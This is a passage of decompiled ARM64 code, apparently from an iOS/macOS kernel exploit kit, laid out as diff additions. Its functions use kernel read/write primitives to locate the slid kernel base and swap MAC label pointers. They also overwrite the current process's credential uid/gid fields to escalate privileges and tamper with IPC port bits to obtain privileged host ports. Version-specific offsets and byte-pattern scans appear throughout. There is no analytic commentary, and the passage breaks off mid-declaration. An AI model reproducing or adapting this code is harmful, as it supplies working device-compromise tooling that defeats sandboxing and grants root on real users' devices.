+__int64 __fastcall sub_39150(__int64 x0_0) +{ + __int64 v2; // x20 + __int64 v3; // x27 + task_inspect_t v4; // w22 + __int128 v5; // q0 + unsigned __int64 v6; // x0 + _QWORD *v7; // x21 + __int64 v8; // x23 + _BOOL4 v9; // w0 + _BOOL4 v10; // w8 + int v12; // w28 + mach_vm_address_t v13; // x0 + mach_vm_address_t v14; // x21 + __int16 v15; // w26 + thread_act_t v16; // w0 + mach_port_t v17; // w0 + int v18; // w23 + unsigned __int64 v19; // x0 + unsigned __int64 v20; // x23 + __int64 v21; // x8 + char v22; // w9 + char v23; // w21 + int v24; // w0 + __int64 k; // x20 + int v26; // w0 + unsigned __int64 v27; // x23 + unsigned __int64 i; // x23 + mach_port_t v29; // w8 + thread_act_t v30; // w0 + thread_act_array_t v31; // x8 + __int64 v32; // x22 + mach_port_t v33; // w8 + thread_act_t v34; // w0 + __int64 v35; // x23 + int v36; // w23 + int v37; // w8 + unsigned __int64 j; // x22 + mach_port_t v39; // w8 + thread_act_t v40; // w0 + __int64 v41; // x8 + __int64 v42; // x24 + bool v43; // zf + __int64 v44; // x28 + __int64 v45; // x22 + __int64 v47; // x8 + __int64 v48; // x24 + __int64 v49; // x27 + unsigned __int64 v50; // x0 + unsigned __int64 v51; // x22 + kern_return_t v52; // w0 + int v53; // w22 + int v54; // w8 + __int64 v55; // [xsp+10h] [xbp-110h] BYREF + __int64 v56; // [xsp+18h] [xbp-108h] BYREF + task_suspension_token_t suspend_token[2]; // [xsp+20h] [xbp-100h] BYREF + int a1[3]; // [xsp+28h] [xbp-F8h] BYREF + mach_msg_type_number_t act_listCnt; // [xsp+34h] [xbp-ECh] BYREF + thread_act_array_t act_list; // [xsp+38h] [xbp-E8h] BYREF + mach_port_name_t name; // [xsp+44h] [xbp-DCh] BYREF + __int64 v62; // [xsp+48h] [xbp-D8h] BYREF + _OWORD v63[3]; // [xsp+50h] [xbp-D0h] BYREF + _QWORD v64[7]; // [xsp+88h] [xbp-98h] BYREF + + v2 = *(_QWORD *)x0_0; + v3 = *(unsigned int *)(x0_0 + 8); + v62 = 0; + name = 0; + act_list = 0; + act_listCnt = 0; + v4 = *(_DWORD *)(v2 + 6392); + *(_QWORD *)suspend_token = 0; + *(_QWORD *)a1 = -1; + *(_QWORD *)&v5 = -1; + *((_QWORD *)&v5 + 1) = -1; + v63[0] = v5; + v63[1] = v5; + v63[2] = v5; + v6 = sub_403E0(v2, "MAC Labels"); + if ( !v6 || (unsigned int)sub_4062C((struct_krwCtx *)v2, v6) ) + { +LABEL_6: + v10 = 0; + goto LABEL_7; + } + v7 = v64; + v8 = -3; + while ( v8 ) + { + v9 = kread64_internal( + (struct_krwCtx *)v2, + *(_QWORD *)(v2 + 6384) + (unsigned int)(*(_DWORD *)(v2 + 360) * (v8 + 4)), + v7++); + ++v8; + if ( !v9 ) + goto LABEL_6; + } + v12 = 163878; + v13 = sub_34FF8(v2, mach_task_self_, suspend_token); + if ( v13 ) + { + v14 = v13; + v15 = suspend_token[0]; + if ( (suspend_token[0] & 0x400) != 0 || noppl_kwrite32(v2, v13, suspend_token[0] | 0x400) ) + { + v16 = mach_thread_self(); + if ( sub_2515C(v16) ) + { + v17 = mach_thread_self(); + v18 = sub_37A50((struct_krwCtx *)v2, v17, 1, 1, 96); + if ( v18 ) + goto LABEL_20; + thread_switch(0, 2, 0xAu); + if ( pipe(a1) || (unsigned int)j__fileport_makeport(a1[1], &name) ) + { + __error(); + __error(); + v18 = 163878; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; +LABEL_21: + noppl_kwrite32(v2, v14, suspend_token[0]); + v12 = v18; + goto LABEL_22; + } + v19 = port_name_to_kaddr((struct_krwCtx *)v2, name); + if ( v19 ) + { + v20 = v19; + if ( !mach_port_deallocate(mach_task_self_, name) ) + { + name = 0; + v27 = v20 + 88; + if ( kread64_internal((struct_krwCtx *)v2, v27, &v62) + && validate_addr(v2, v62) + && kwrite64(v2, v27, *(_QWORD *)(v2 + 6384)) ) + { + if ( v4 == mach_task_self_ ) + { + if ( !task_threads(v4, &act_list, &act_listCnt) ) + { + if ( act_listCnt ) + { + for ( i = 0; i < act_listCnt; ++i ) + { + if ( act_list[i] + 1 >= 2 ) + { + v29 = mach_thread_self(); + v30 = act_list[i]; + if ( v29 != v30 ) + thread_suspend(v30); + } + } + } + goto LABEL_46; + } + } + else if ( !task_suspend2(v4, &suspend_token[1]) ) + { +LABEL_46: + if ( close(a1[0]) || (a1[0] = -1, close(a1[1])) ) + { + __error(); + __error(); +LABEL_49: + if ( v4 == mach_task_self_ ) + { + v31 = act_list; + if ( act_list && act_listCnt ) + { + v32 = 0; + while ( 1 ) + { + if ( v31[v32] + 1 >= 2 ) + { + v33 = mach_thread_self(); + v34 = act_list[v32]; + if ( v33 != v34 ) + thread_resume(v34); + } + if ( ++v32 >= (unsigned __int64)act_listCnt ) + break; + v31 = act_list; + } + vm_deallocate(mach_task_self_, (vm_address_t)act_list, 4LL * act_listCnt); + } + } + else if ( suspend_token[1] + 1 >= 2 ) + { + task_resume2(suspend_token[1]); + suspend_token[1] = 0; + } + v18 = 163878; +LABEL_62: + v12 = 163878; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; + goto LABEL_21; + } + v35 = 0; + a1[1] = -1; + while ( !pipe((int *)((char *)v63 + v35)) ) + { + v35 += 8; + if ( v35 == 48 ) + { + v18 = 0; + goto LABEL_71; + } + } + v36 = *__error(); + v37 = *__error(); + if ( v36 < 0 ) + v37 = -v37; + v18 = v37 | 0x40000000; +LABEL_71: + if ( v4 == mach_task_self_ ) + { + if ( act_listCnt ) + { + for ( j = 0; j < act_listCnt; ++j ) + { + if ( act_list[j] + 1 >= 2 ) + { + v39 = mach_thread_self(); + v40 = act_list[j]; + if ( v39 != v40 ) + thread_resume(v40); + } + } + } + } + else + { + if ( task_resume2(suspend_token[1]) ) + goto LABEL_49; + suspend_token[1] = 0; + } + if ( !v18 ) + { + v41 = 944; + do + { + v42 = v41 + 64; + if ( !*(_QWORD *)(v2 + v41) ) + break; + v43 = v41 == 1392; + v41 += 64; + } + while ( !v43 ); + v44 = v42 - 56; + v45 = -3; + v18 = 163857; + do + { + v56 = 0; + if ( !kread64_internal( + (struct_krwCtx *)v2, + *(_QWORD *)(v2 + 6384) + (unsigned int)(*(_DWORD *)(v2 + 360) * (v45 + 4)), + &v56) ) + { + v18 = 163855; + goto LABEL_62; + } + if ( !v56 ) + goto LABEL_62; + *(_QWORD *)(v2 + v44) = v56; + v44 += 8; + } + while ( !__CFADD__(v45++, 1) ); + v47 = 0; + *(_QWORD *)(v2 + v42 - 64) = *(_QWORD *)(v2 + 6384); + do + { + v48 = v3 + 1; + if ( v47 != v3 ) + { + v48 = v47 + 1; + if ( !kwrite64( + v2, + *(_QWORD *)(v2 + 6384) + (unsigned int)(*(_DWORD *)(v2 + 360) * (v47 + 1)), + v64[v47]) ) + { + v18 = 163856; + goto LABEL_20; + } + } + v47 = v48; + } + while ( v48 != 3 ); + v49 = 0; + v18 = 708625; + v12 = 163878; + while ( !(unsigned int)j__fileport_makeport(*(_DWORD *)((char *)v63 + v49), &name) ) + { + v50 = port_name_to_kaddr((struct_krwCtx *)v2, name); + if ( !v50 ) + { + v12 = 163854; + goto LABEL_123; + } + v51 = v50; + v52 = mach_port_deallocate(mach_task_self_, name); + if ( v52 ) + { + v12 = v52 | 0x80000000; + goto LABEL_123; + } + name = 0; + if ( !kread64_internal((struct_krwCtx *)v2, v51 + 88, &v55) ) + goto LABEL_113; + if ( !validate_addr(v2, v55) ) + goto LABEL_123; + if ( v55 == *(_QWORD *)(v2 + 6384) ) + { + if ( kwrite64(v2, v51 + 88, v62) ) + v12 = 0; + else + v12 = 163856; + goto LABEL_123; + } + if ( !kread64_outptr((struct_krwCtx *)v2, v51 + 56, (unsigned __int64 *)&v56) ) + goto LABEL_113; + if ( !validate_addr(v2, v56) ) + goto LABEL_123; + if ( !kread64_internal((struct_krwCtx *)v2, v56 + 160, &v55) ) + { +LABEL_113: + v12 = 163855; + goto LABEL_123; + } + if ( !validate_addr(v2, v55) ) + goto LABEL_123; + if ( v55 == *(_QWORD *)(v2 + 6384) ) + { + if ( !kwrite64(v2, v56 + 160, v62) ) + { + v12 = 163856; + goto LABEL_123; + } + v18 = 0; + } + v49 += 4; + if ( v49 == 48 ) + goto LABEL_20; + } + v53 = *__error(); + v54 = *__error(); + if ( v53 < 0 ) + v54 = -v54; + v12 = v54 | 0x40000000; +LABEL_123: + v18 = v12; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; + goto LABEL_21; + } +LABEL_20: + v12 = v18; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; + goto LABEL_21; + } + } + } + } + } + v18 = 163878; + goto LABEL_20; + } + } +LABEL_22: + v21 = 0; + v22 = 1; + do + { + v23 = v22; + v24 = a1[v21]; + if ( v24 != -1 ) + close(v24); + v22 = 0; + v21 = 1; + } + while ( (v23 & 1) != 0 ); + for ( k = 0; k != 48; k += 4 ) + { + v26 = *(_DWORD *)((char *)v63 + k); + if ( v26 != -1 ) + close(v26); + } + if ( name + 1 > 1 ) + mach_port_deallocate(mach_task_self_, name); + v10 = v12 == 0; +LABEL_7: + *(_DWORD *)(x0_0 + 12) = v10; + return 0; +} + +//----- (0000000000039888) ---------------------------------------------------- +unsigned __int64 __fastcall kernel_get_base_slid(struct_krwCtx *ctx, unsigned __int64 optional_vtable_func) +{ + unsigned __int64 kbase; // x20 + int kernPageSize; // w8 + __int64 kernSpacing; // x22 + bool is16KPage; // zf + unsigned __int64 v7; // x8 + mach_port_t port; // w0 + unsigned __int64 ipc_port_kaddr; // x0 + unsigned __int64 v10; // x0 + mach_header_64 header; // [xsp+8h] [xbp-58h] BYREF + unsigned __int64 vtable_func; // [xsp+28h] [xbp-38h] BYREF + + vtable_func = optional_vtable_func; + if ( !optional_vtable_func ) + { + port = IORegistryEntryFromPath(kIOMasterPortDefault, "IOService:/"); + if ( port + 1 < 2 ) + return 0; + ipc_port_kaddr = task_self_get_ipc_port(ctx, port); + if ( !ipc_port_kaddr ) + return 0; + v10 = maybe_ipc_port_get_kobject(ctx, ipc_port_kaddr); + vtable_func = v10; + if ( !v10 ) + return 0; + if ( !kread64_outptr(ctx, v10, &vtable_func) ) + return 0; + vtable_func = krw_xpac_vaddr_2(ctx, vtable_func); + if ( !kread64_outptr(ctx, vtable_func, &vtable_func) ) + return 0; + optional_vtable_func = krw_xpac_vaddr_2(ctx, vtable_func); + vtable_func = optional_vtable_func; + } + kbase = 0; + kernPageSize = ctx->pageSizeOrSomething; + if ( kernPageSize == 0x4000 ) + kernSpacing = 0x4000; + else + kernSpacing = 0x100000; + is16KPage = kernPageSize == 0x4000; + v7 = optional_vtable_func & -kernSpacing; + if ( !is16KPage ) + v7 += 0x4000LL; + if ( v7 >= 0xFFFF000000000000LL ) + { + kbase = v7; + while ( (unsigned int)kreadbuf_last_1(ctx, kbase, 4, &header) ) + { + if ( header.magic == 0xFEEDFACF ) + { + if ( !(unsigned int)kreadbuf_last_1(ctx, kbase + 4, 0x18, &header.cputype) ) + return 0; + if ( header.filetype == MH_EXECUTE && header.ncmds >= 9 && header.ncmds < 0x40 ) + return kbase; + } + kbase -= kernSpacing; + if ( kbase <= 0xFFFEFFFFFFFFFFFFLL ) + return 0; + } + return 0; + } + return kbase; +} + +//----- (0000000000039A24) ---------------------------------------------------- +__int64 __fastcall sub_39A24(__int64 a1, unsigned __int64 a2) +{ + __int64 result; // x0 + unsigned __int64 v3; // x20 + struct_a1 *v5; // x0 + __int64 v6; // x21 + __int128 v7; // q1 + int v8; // w3 + + if ( *(_QWORD *)(a1 + 6648) ) + return 0; + v3 = a2; + if ( !a2 ) + { + v3 = kernel_get_base_slid((struct_krwCtx *)a1, 0); + if ( !v3 ) + return 163860; + } + v5 = (struct_a1 *)calloc(0x128u, 1u); + if ( !v5 ) + return 708617; + v6 = (__int64)v5; + sub_19DD4(v5, a1); + v7 = *(_OWORD *)(a1 + 336); + *(_OWORD *)(v6 + 112) = *(_OWORD *)(a1 + 320); + *(_OWORD *)(v6 + 128) = v7; + *(_QWORD *)(v6 + 144) = *(_QWORD *)(a1 + 352); + *(_DWORD *)(v6 + 152) = *(_DWORD *)(a1 + 376); + *(_DWORD *)(v6 + 56) = *(_DWORD *)(a1 + 384); + if ( *(_QWORD *)(a1 + 344) >> 43 <= 0x44Au ) + v8 = 128; + else + v8 = 1152; + if ( !sub_1A4FC(v6, 0, v3, v8) ) + return 163863; + result = 0; + *(_QWORD *)(a1 + 6648) = v6; + return result; +} + +//----- (0000000000039B14) ---------------------------------------------------- +unsigned __int64 __fastcall sub_39B14(_QWORD *a1) +{ + unsigned __int64 result; // x0 + unsigned __int64 v3; // [xsp+0h] [xbp-20h] BYREF + unsigned __int64 v4; // [xsp+8h] [xbp-18h] BYREF + + result = sub_1E99C(a1[831], &v4, &v3); + if ( (_DWORD)result ) + { + result = sub_1F0F4(); + if ( result ) + { + a1[782] = v4; + a1[783] = v3; + a1[784] = result; + return 1; + } + } + return result; +} + +//----- (0000000000039B70) ---------------------------------------------------- +void __usercall sub_39B70(_QWORD *a1@, struct_krwCtx *a2@) +{ + __int64 v4; // x10 + __int64 v5; // x0 + char *v6; // x0 + char *v7; // x21 + __int64 v8; // x8 + __int64 v9; // x9 + __int64 v10; // x8 + __int128 v11; // [xsp+8h] [xbp-38h] BYREF + __int64 v12; // [xsp+18h] [xbp-28h] + + *a1 = 0; + a1[1] = 0; + a1[2] = 0; + if ( krw_ctx_has_flag(a2, 32) ) + goto LABEL_2; + if ( krw_ctx_has_flag(a2, 85475329) ) + { + sub_19B98("__PPLTEXT", &v11, a2->gap1921[2]); + goto LABEL_5; + } + sub_19D10(a2->gap1921[2], &v11); + v4 = v12; + if ( a2->someLargeNumber < 0x1C1B1914600000LL ) + { + *(_OWORD *)a1 = v11; + a1[2] = v4; + return; + } + *((_QWORD *)&v11 + 1) = *((_QWORD *)&v11 + 1) + v12 - 0x20000; + v12 = 0x20000; + v5 = kernel_pattern_scan((__int64)&v11, "08 DC 70 92", 0); + if ( !v5 ) + goto LABEL_2; + v6 = sub_1E800((__int64 *)a2->gap1921[2], (__int64 *)(v5 - 4)); + if ( !v6 ) + goto LABEL_2; + v7 = v6; + sub_19D10(a2->gap1921[2], &v11); + v8 = *((_QWORD *)&v11 + 1) - (_QWORD)v7; + if ( *((_QWORD *)&v11 + 1) > (unsigned __int64)v7 + || (v9 = v12, (unsigned __int64)v7 >= v12 + *((_QWORD *)&v11 + 1)) + || (*a1 = v11, a1[1] = v7, v10 = v8 + v9, (a1[2] = v10) == 0) ) + { +LABEL_2: + sub_19D10(a2->gap1921[2], &v11); +LABEL_5: + *(_OWORD *)a1 = v11; + a1[2] = v12; + } +} + +//----- (0000000000039CC0) ---------------------------------------------------- +__int64 __fastcall sub_39CC0(struct_krwCtx *a1, task_name_t target_task, int a3, const void *a4, mach_vm_size_t a5) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + int v12; // w8 + unsigned __int64 v13; // x9 + unsigned int v16; // w24 + mach_msg_type_number_t v17; // w8 + task_flavor_t v18; // w1 + int v19; // w9 + unsigned __int64 v20; // x24 + mach_msg_type_number_t task_info_outCnt; // [xsp+Ch] [xbp-84h] BYREF + _BYTE __s1[32]; // [xsp+10h] [xbp-80h] BYREF + integer_t task_info_out[8]; // [xsp+30h] [xbp-60h] BYREF + + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8791 ) + { + if ( xnuMajorVersion != 8792 && xnuMajorVersion != 10002 && xnuMajorVersion != 8796 ) + return result; + goto LABEL_14; + } + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 ) + { +LABEL_14: + v12 = 64; + v13 = 0x1F530F027FFFFFLL; + goto LABEL_15; + } + if ( xnuMajorVersion == 6153 ) + { + v16 = 160; + goto LABEL_18; + } + if ( xnuMajorVersion != 7195 ) + return result; + v12 = 148; + v13 = 0x1C1B19145FFFFFLL; +LABEL_15: + if ( a1->someLargeNumber <= v13 ) + v16 = 156; + else + v16 = v12; +LABEL_18: + if ( (unsigned int)(a3 - 1) >= 2 ) + { + if ( a3 != 3 ) + return 0; + v16 += 8; + v17 = 8; + v18 = 15; + v19 = 32; + } + else + { + v17 = 2; + v18 = 13; + v19 = 8; + } + if ( v19 != (_DWORD)a5 ) + return 0; + task_info_outCnt = v17; + if ( task_info(target_task, v18, task_info_out, &task_info_outCnt) ) + return 0; + if ( a1->someLargeNumber <= 0x1F530F027FFFFFLL ) + { + result = port_name_to_kaddr(a1, target_task); + if ( !result ) + return result; + } + else + { + result = sub_34754(a1, target_task); + if ( !result ) + return result; + } + v20 = result + v16; + result = kreadbuf_last_1(a1, v20, (unsigned int)a5, __s1); + if ( !(_DWORD)result ) + return result; + if ( memcmp(__s1, task_info_out, (unsigned int)a5) ) + return 0; + if ( !a1->gap191[690] && a3 == 2 && mach_task_self_ == target_task ) + { + a1->gap191[691] = *(_QWORD *)task_info_out; + a1->gap191[690] = v20; + } + return kwritebuf_universal(a1, v20, a4, a5); +} + +//----- (0000000000039EAC) ---------------------------------------------------- +__int64 __fastcall create_pthread_something(__int64 a1, pthread_t *a2, __int64 a3, void *a4) +{ + int v8; // w0 + int v9; // w8 + __int64 v10; // x20 + int v11; // w0 + void *(__cdecl *v12)(void *); // x0 + int v13; // w8 + mach_port_t v15; // w0 + thread_act_t v16; // w22 + unsigned int v17; // w1 + int v18; // w0 + kern_return_t v19; // w0 + pthread_t v20; // [xsp+0h] [xbp-70h] BYREF + pthread_attr_t v21; // [xsp+8h] [xbp-68h] BYREF + + v20 = 0; + v8 = pthread_attr_init(&v21); + if ( v8 ) + { + if ( v8 >= 0 ) + v9 = v8; + else + v9 = -v8; + return v9 | 0x40000000u; + } + else + { + v11 = pthread_attr_setdetachstate(&v21, 1); + if ( v11 + || (v12 = (void *(__cdecl *)(void *))nullsub_1(a3), (v11 = pthread_create_suspended_np(&v20, &v21, v12, a4)) != 0) ) + { + if ( v11 >= 0 ) + v13 = v11; + else + v13 = -v11; + v10 = v13 | 0x40000000u; + } + else + { + v10 = 163843; + v15 = pthread_mach_thread_np(v20); + if ( v15 ) + { + v16 = v15; + v17 = *(_DWORD *)(a1 + 6428); + if ( !v17 ) + v17 = *(_DWORD *)(a1 + 6424); + sub_39FDC((struct_krwCtx *)a1, v17, v15); + if ( v18 ) + { + v19 = thread_resume(v16); + if ( v19 ) + { + v10 = v19 | 0x80000000; + } + else + { + v10 = 0; + *a2 = v20; + } + } + } + else + { + v10 = 163848; + } + } + pthread_attr_destroy(&v21); + } + return v10; +} +// 39FA8: variable 'v18' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000039FDC) ---------------------------------------------------- +void __fastcall sub_39FDC(struct_krwCtx *someCtx, unsigned int a2, unsigned int a3) +{ + int v5; // w22 + __int64 v6; // x0 + unsigned __int64 newValue; // x20 + unsigned __int64 v8; // x0 + mach_vm_address_t address; // x23 + __int64 v10; // [xsp+8h] [xbp-38h] BYREF + __int64 vars8; // [xsp+48h] [xbp+8h] + + if ( someCtx->someLargeNumber > 0x1F530F027FFFFFLL ) + v5 = 1; + else + v5 = 0x4000000; + if ( a2 ) + { + v6 = sub_340D8(someCtx, a2, 0); + if ( v6 ) + { + newValue = v6; + v8 = sub_34298(someCtx, a3); + if ( v8 ) + { + address = v8; + if ( kread64_outptr(someCtx, v8, (unsigned __int64 *)&v10) ) + { + if ( (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0((__int64)someCtx, a3, v5, 1) ) + { + sub_35FD8(someCtx, newValue); + if ( someCtx->someLargeNumber <= 0x1F530F027FFFFFLL ) + kwrite64((__int64)someCtx, address, newValue); + else + sub_2A63C(someCtx, address, newValue); + } + } + } + } + } + else + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + set_flags_something_INEEDTOLOOK_sub_3F8C0((__int64)someCtx, a3, v5, 0); + } +} + +//----- (000000000003A100) ---------------------------------------------------- +bool __fastcall pthread_create_and_join(__int64 a1, __int64 a2, void *a3) +{ + int v3; // w0 + pthread_t v5; // [xsp+8h] [xbp-8h] BYREF + + v5 = 0; + v3 = create_pthread_something(a1, &v5, a2, a3); + if ( !v3 ) + v3 = pthread_join(v5, 0) != 0; + return v3 == 0; +} + +//----- (000000000003A150) ---------------------------------------------------- +__int64 __fastcall sub_3A150(__int64 a1, int a2, int a3, int a4) +{ + uid_t v8; // w21 + __int64 result; // x0 + unsigned __int64 v10; // x23 + unsigned __int64 v11; // x0 + int v12; // w8 + __int64 v13; // x8 + unsigned __int64 v14; // x21 + __int64 v15; // x0 + __int64 v16; // x0 + unsigned __int64 v17; // x0 + _DWORD v18[4]; // [xsp+0h] [xbp-150h] BYREF + __int128 v19; // [xsp+10h] [xbp-140h] + __int128 v20; // [xsp+20h] [xbp-130h] + __int128 v21; // [xsp+30h] [xbp-120h] + __int128 v22; // [xsp+40h] [xbp-110h] + int v23; // [xsp+50h] [xbp-100h] + int v24; // [xsp+54h] [xbp-FCh] + __int64 __s2; // [xsp+68h] [xbp-E8h] BYREF + int __s2_12; // [xsp+74h] [xbp-DCh] + __int128 v27; // [xsp+78h] [xbp-D8h] + __int128 v28; // [xsp+88h] [xbp-C8h] + __int128 v29; // [xsp+98h] [xbp-B8h] + __int128 v30; // [xsp+A8h] [xbp-A8h] + int v31; // [xsp+CCh] [xbp-84h] BYREF + _QWORD v32[3]; // [xsp+D0h] [xbp-80h] BYREF + int v33; // [xsp+ECh] [xbp-64h] BYREF + __int64 v34; // [xsp+F0h] [xbp-60h] BYREF + __int64 v35; // [xsp+F8h] [xbp-58h] BYREF + __int64 v36; // [xsp+100h] [xbp-50h] BYREF + unsigned __int64 v37; // [xsp+108h] [xbp-48h] BYREF + + v8 = getuid(); + result = sub_340D8((struct_krwCtx *)a1, mach_task_self_, 0); + if ( result ) + { + result = kreadbuf_last_1((struct_krwCtx *)a1, result + 104, 4, &v31); + if ( (_DWORD)result ) + { + if ( !*(_DWORD *)(a1 + 6416) && !*(_DWORD *)(a1 + 6420) ) + { + *(_DWORD *)(a1 + 6416) = v8; + *(_DWORD *)(a1 + 6420) = v31; + } + if ( v8 == a2 && v31 == a3 ) + return 1; + if ( a4 ) + goto LABEL_10; + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 4) ) + return 0; + result = *(_QWORD *)(a1 + 6368); + if ( !result ) + { +LABEL_10: + __s2 = 0; + result = sub_340D8((struct_krwCtx *)a1, mach_task_self_, &__s2); + if ( !result ) + return result; + if ( !*(_QWORD *)(a1 + 6368) ) + { + *(_QWORD *)(a1 + 6368) = result; + *(_QWORD *)(a1 + 6376) = __s2; + } + } + v10 = result + 24; + result = kreadbuf_last_1((struct_krwCtx *)a1, result + 24, 88, &__s2); + if ( (_DWORD)result ) + { + v18[3] = __s2_12; + v19 = v27; + v20 = v28; + v21 = v29; + v22 = v30; + v18[0] = a2; + v18[1] = a2; + v18[2] = a2; + LODWORD(v19) = a3; + v23 = a3; + v24 = a3; + if ( !memcmp(v18, &__s2, 0x58u) || (result = kwritebuf_universal((_QWORD *)a1, v10, v18, 0x58u), (_DWORD)result) ) + { + v11 = sub_33E8C((struct_krwCtx *)a1, mach_task_self_); + v37 = v11; + if ( v11 ) + { + v12 = *(_DWORD *)(a1 + 320); + if ( v12 > 8791 ) + { + if ( v12 != 8792 && v12 != 8796 && v12 != 10002 ) + return 0; + v13 = 168; + } + else if ( (unsigned int)(v12 - 8019) < 2 ) + { + v13 = 176; + } + else if ( v12 == 6153 ) + { + v13 = 200; + } + else + { + if ( v12 != 7195 ) + return 0; + v13 = 184; + } + if ( kread64_outptr((struct_krwCtx *)a1, v13 + v11, &v37) ) + { + if ( v37 ) + { + if ( !validate_addr(a1, v37) ) + return 0; + } + else + { + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 89669633) ) + { + v14 = *(_QWORD *)(a1 + 6544); + if ( !v14 ) + { + sub_19D10(*(_QWORD *)(a1 + 6648), v32); + v16 = kernel_pattern_scan((__int64)v32, "00 7D 04 13 .. .. .. .. .. .. .. .. 21 05 80 52", 0); + if ( !v16 ) + return 0; + v17 = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v16 + 4)); + if ( !v17 ) + return 0; + v14 = v17; + *(_QWORD *)(a1 + 6544) = v17; + } + if ( kread64_outptr((struct_krwCtx *)a1, v14, &v37) + && v37 <= 0x3FF + && kread64_outptr((struct_krwCtx *)a1, v14 + *(int *)(a1 + 360), (unsigned __int64 *)&v36) + && validate_addr(a1, v36) + && kread64_outptr( + (struct_krwCtx *)a1, + v36 + ((unsigned int)v37 & a2) * (__int64)*(int *)(a1 + 360), + (unsigned __int64 *)&v35) + && validate_addr(a1, v35) ) + { + v15 = v35; + while ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v15 + 2LL * *(int *)(a1 + 360), 4, &v33) ) + { + if ( v33 == a2 ) + { + if ( kread64_outptr( + (struct_krwCtx *)a1, + v35 + 3LL * *(int *)(a1 + 360), + (unsigned __int64 *)&v34) ) + { + v34 += 4; + if ( sub_288A4(a1, v35 + 3LL * *(int *)(a1 + 360), v34) ) + { + if ( v35 ) + return 1; + } + } + return 0; + } + if ( kread64_outptr((struct_krwCtx *)a1, v35, (unsigned __int64 *)&v35) ) + { + v15 = validate_addr(a1, v35); + v35 = v15; + if ( v15 ) + continue; + } + return 0; + } + } + return 0; + } + if ( !sub_1EA70(a1, 0) || !(unsigned int)sub_1D970() || !(unsigned int)sub_1D970() ) + return 0; + } + return 1; + } + } + return 0; + } + } + } + } + return result; +} +// 3A150: too many cbuild loops + +//----- (000000000003A57C) ---------------------------------------------------- +bool __fastcall sub_3A57C(__int64 a1, unsigned __int64 a2, __int16 a3, int *a4) +{ + _BOOL8 result; // x0 + int v9; // w2 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + result = kread32_outptr(a1, a2, &v10); + if ( result ) + { + v9 = v10; + if ( a4 ) + *a4 = v10 & 0x3FF; + return noppl_kwrite32(a1, a2, v9 & 0xFFFFFC00 | a3 & 0x3FF); + } + return result; +} + +//----- (000000000003A5F0) ---------------------------------------------------- +__int64 __fastcall sub_3A5F0(__int64 a1, task_name_t a2) +{ + unsigned __int64 v2; // x8 + unsigned int v4; // w2 + unsigned int v5; // w4 + bool v6; // zf + __int128 v7; // [xsp+0h] [xbp-20h] BYREF + __int64 vars8; // [xsp+28h] [xbp+8h] + + v2 = *(_QWORD *)(a1 + 344); + if ( v2 < 0x27120F04B00003LL ) + { + if ( v2 <= 0x225C1E804FFFFFLL ) + { + if ( v2 < 0x225C1980500000LL + || ((*(_DWORD *)a1 & 0x5584001) != 0 ? (v6 = (*(_DWORD *)a1 & 1) == 0) : (v6 = 0), v6) ) + { + v4 = 4; + v5 = 15; + goto LABEL_13; + } + } + } + else if ( (*(_BYTE *)a1 & 0x20) != 0 ) + { + v7 = xmmword_43740; + return sub_1CA3C(a1, a2, 4u, (__int64)&v7, 0xFu); + } + v4 = 2; + v5 = 3; +LABEL_13: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_1CA3C(a1, a2, v4, 0, v5); +} +// 43740: using guessed type __int128 xmmword_43740; + +//----- (000000000003A72C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3A72C(__int64 a1) +{ + mach_port_t v2; // w20 + unsigned __int64 result; // x0 + unsigned __int64 v4; // x8 + unsigned __int64 v5; // x21 + kern_return_t special_port; // w20 + int v7; // [xsp+8h] [xbp-28h] BYREF + mach_port_t port; // [xsp+Ch] [xbp-24h] BYREF + + v2 = mach_host_self(); + result = *(unsigned int *)(a1 + 6432); + if ( (unsigned int)(result + 1) <= 1 ) + { + if ( !host_get_special_port(v2, -1, 2, &port) ) + return port; + v4 = *(_QWORD *)(a1 + 344); + if ( v4 >= 0x1F530000000000LL + && ((*(_DWORD *)a1 & 0x5584001) != 0 + || v4 > 0x22580A06BFFFFFLL + || v4 >= 0x1F543C40800000LL && *(int *)(a1 + 320) <= 8791) ) + { + result = sub_35610(a1, 2); + if ( !result ) + return result; + if ( !(unsigned int)sub_36480((struct_krwCtx *)a1, result, &port) ) + return port; + return 0; + } + result = task_self_get_ipc_port((struct_krwCtx *)a1, v2); + if ( result ) + { + v5 = result; + result = sub_3A57C(a1, result, 4, &v7); + if ( (_DWORD)result ) + { + special_port = host_get_special_port(v2, -1, 2, &port); + sub_3A57C(a1, v5, v7, 0); + if ( special_port ) + return 0; + return port; + } + } + } + return result; +} + +//----- (000000000003A878) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3A878(__int64 a1) +{ + unsigned __int64 result; // x0 + mach_port_name_t v3; // [xsp+Ch] [xbp-14h] BYREF + + result = *(unsigned int *)(a1 + 6436); + if ( (unsigned int)(result + 1) <= 1 ) + { + result = sub_35610(a1, 0); + if ( result ) + { + if ( (unsigned int)sub_36480((struct_krwCtx *)a1, result, &v3) ) + return 0; + else + return v3; + } + } + return result; +} + +//----- (000000000003A8DC) ---------------------------------------------------- +__int64 __fastcall sub_3A8DC(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v5; // x8 + unsigned __int64 v6; // x1 + unsigned __int64 *v7; // x2 + int v8; // w0 + __int64 v9; // [xsp+0h] [xbp-40h] BYREF + unsigned __int64 v10; // [xsp+8h] [xbp-38h] BYREF + __int64 v11; // [xsp+10h] [xbp-30h] BYREF + unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF + unsigned __int64 v13; // 